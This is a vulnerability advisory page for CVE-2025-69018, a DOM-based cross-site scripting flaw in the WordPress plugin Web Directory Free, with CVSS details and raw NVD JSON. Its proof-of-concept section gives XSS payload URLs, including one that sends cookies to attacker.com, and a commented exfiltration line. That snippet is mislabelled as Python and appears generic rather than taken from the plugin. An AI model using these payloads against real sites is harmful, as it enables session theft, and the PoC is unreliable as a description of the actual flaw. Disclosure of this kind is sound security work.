Security Vulnerability Report
中文
CVE-2025-69018 CVSS 6.5 MEDIUM

CVE-2025-69018

Published: 2025-12-30 11:16:00
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Shamalli Web Directory Free web-directory-free allows DOM-Based XSS.This issue affects Web Directory Free: from n/a through <= 1.7.12.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Web Directory Free <= 1.7.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-69018 PoC - DOM-based XSS in Web Directory Free Plugin // Target: WordPress Web Directory Free Plugin <= 1.7.12 // Attack Vector: Crafted URL with XSS payload // Payload can be injected through URL parameters that are processed client-side // Example malicious URL: // https://target-site.com/?s=<img src=x onerror=alert(document.cookie)> // Another payload example: // https://target-site.com/?search_term=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> // JavaScript PoC to demonstrate DOM-based XSS: (function(){ // Simulate the vulnerable code pattern var userInput = location.href.split('s=')[1] || ''; // Vulnerable: Direct DOM manipulation without sanitization document.getElementById('search-results').innerHTML = userInput; // In real attack, this would exfiltrate session cookies // fetch('https://attacker-controlled-site.com/log?data=' + encodeURIComponent(document.cookie)); })(); // Recommended testing: // 1. Install Web Directory Free plugin version <= 1.7.12 // 2. Navigate to a page with search functionality // 3. Append ?s=<script>alert('XSS')</script> to URL // 4. Observe if alert popup appears (confirms vulnerability)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69018", "sourceIdentifier": "[email protected]", "published": "2025-12-30T11:16:00.130", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Shamalli Web Directory Free web-directory-free allows DOM-Based XSS.This issue affects Web Directory Free: from n/a through <= 1.7.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/web-directory-free/vulnerability/wordpress-web-directory-free-plugin-1-7-12-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}